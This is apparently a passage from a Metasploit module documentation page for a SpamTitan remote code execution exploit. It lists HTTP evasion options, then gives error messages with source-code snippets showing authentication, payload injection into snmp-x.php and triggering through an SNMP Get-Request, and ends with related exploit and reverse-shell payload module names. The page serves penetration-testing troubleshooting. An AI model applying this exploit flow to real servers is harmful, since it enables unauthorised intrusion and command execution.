HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Unable to authenticate - no response
- Unable to authenticate - Invalid username or password
- Unable to authenticate - Unexpected HTTP response code: <RES.CODE>
- Connection error: <E>
- <PEER> - Could not connect to the web service
- <PEER> - Unable to inject the payload - no response
- <PEER> - Unable to inject the payload - unexpected HTTP response
- <PEER> - Unable to inject the payload - Unknown error: <RES.BODY>
- SNMP Get-Request response (status=<RES.ERROR_STATUS>)
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to authenticate - no response
Here is a relevant code snippet related to the "Unable to authenticate - no response" error message:
172: 'address' => datastore['USERNAME'],
173: 'passwd' => datastore['PASSWORD']
174: }
175: )
176: if res.nil?
177: return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')
178: end
179:
180: if res.code == 200 && res.body =~ /Invalid username or password/
181: return Exploit::CheckCode::Safe.new(
182: 'Unable to authenticate - Invalid username or password'
Unable to authenticate - Invalid username or password
Here is a relevant code snippet related to the "Unable to authenticate - Invalid username or password" error message:
177: return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')
178: end
179:
180: if res.code == 200 && res.body =~ /Invalid username or password/
181: return Exploit::CheckCode::Safe.new(
182: 'Unable to authenticate - Invalid username or password'
183: )
184: end
185: unless res.code == 302
186: return Exploit::CheckCode::Unknown.new(
187: "Unable to authenticate - Unexpected HTTP response code: #{res.code}"
Unable to authenticate - Unexpected HTTP response code: <RES.CODE>
Here is a relevant code snippet related to the "Unable to authenticate - Unexpected HTTP response code: <RES.CODE>" error message:
182: 'Unable to authenticate - Invalid username or password'
183: )
184: end
185: unless res.code == 302
186: return Exploit::CheckCode::Unknown.new(
187: "Unable to authenticate - Unexpected HTTP response code: #{res.code}"
188: )
189: end
190:
191: # For whatever reason, the web application sometimes returns multiple
192: # PHPSESSID cookies and only the last one is valid. So, make sure only
Connection error: <E>
Here is a relevant code snippet related to the "Connection error: <E>" error message:
211: )
212: end
213:
214: Exploit::CheckCode::Appears
215: rescue ::Rex::ConnectionError => e
216: vprint_error("Connection error: #{e}")
217: return Exploit::CheckCode::Unknown.new(
218: "Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})"
219: )
220: end
221:
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
224: execute_command(payload.encoded)
225: else
226: execute_cmdstager(linemax: payload_info['Space'].to_i, noconcat: true)
227: end
228: rescue ::Rex::ConnectionError
229: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
230: end
231:
232: def inject_payload(community)
233: snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
234: print_status("Send a request to #{snmp_x_uri} and inject the payload")
<PEER> - Unable to inject the payload - no response
Here is a relevant code snippet related to the "<PEER> - Unable to inject the payload - no response" error message:
262: 'method' => 'POST',
263: 'vars_post' => post_params
264: )
265: if res.nil?
266: fail_with(Failure::Unreachable,
267: "#{peer} - Unable to inject the payload - no response")
268: end
269: unless res.code == 200
270: fail_with(Failure::UnexpectedReply,
271: "#{peer} - Unable to inject the payload - unexpected HTTP response "\
272: "code: #{res.code}")
<PEER> - Unable to inject the payload - unexpected HTTP response
Here is a relevant code snippet related to the "<PEER> - Unable to inject the payload - unexpected HTTP response" error message:
266: fail_with(Failure::Unreachable,
267: "#{peer} - Unable to inject the payload - no response")
268: end
269: unless res.code == 200
270: fail_with(Failure::UnexpectedReply,
271: "#{peer} - Unable to inject the payload - unexpected HTTP response "\
272: "code: #{res.code}")
273: end
274: begin
275: json_res = JSON.parse(res.body)['success']
276: rescue JSON::ParserError
<PEER> - Unable to inject the payload - Unknown error: <RES.BODY>
Here is a relevant code snippet related to the "<PEER> - Unable to inject the payload - Unknown error: <RES.BODY>" error message:
276: rescue JSON::ParserError
277: json_res = nil
278: end
279: unless json_res
280: fail_with(Failure::UnexpectedReply,
281: "#{peer} - Unable to inject the payload - Unknown error: #{res.body}")
282: end
283: end
284:
285: def trigger_payload(name)
286: print_status('Send an SNMP Get-Request to trigger the payload')
SNMP Get-Request response (status=<RES.ERROR_STATUS>)
Here is a relevant code snippet related to the "SNMP Get-Request response (status=<RES.ERROR_STATUS>)" error message:
288: # RPORT needs to be specified since the default value is set to the web
289: # service port.
290: connect_snmp(true, 'RPORT' => datastore['SNMPPORT'])
291: begin
292: res = snmp.get("1.3.6.1.4.1.8072.1.3.2.3.1.1.8.#{name.bytes.join('.')}")
293: msg = "SNMP Get-Request response (status=#{res.error_status}): "\
294: "#{res.each_varbind.map(&:value).join('|')}"
295: if res.error_status == :noError
296: vprint_good(msg)
297: else
298: vprint_error(msg)
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
See Also
Check also the following modules related to this module:
- exploit/freebsd/ftp/proftp_telnet_iac
- exploit/freebsd/http/citrix_dir_traversal_rce
- exploit/freebsd/http/watchguard_cmd_exec
- exploit/freebsd/local/intel_sysret_priv_esc
- exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
- exploit/freebsd/local/mmap
- exploit/freebsd/local/rtld_execl_priv_esc
- exploit/freebsd/local/watchguard_fix_corrupt_mail
- exploit/freebsd/misc/citrix_netscaler_soap_bof
- exploit/freebsd/samba/trans2open
- exploit/freebsd/tacacs/xtacacsd_report
- exploit/freebsd/telnet/telnet_encrypt_keyid
- exploit/bsd/finger/morris_fingerd_bof
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- post/bsd/gather/hashdump
Authors
- Christophe De La Fuente
- Felipe Molina
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.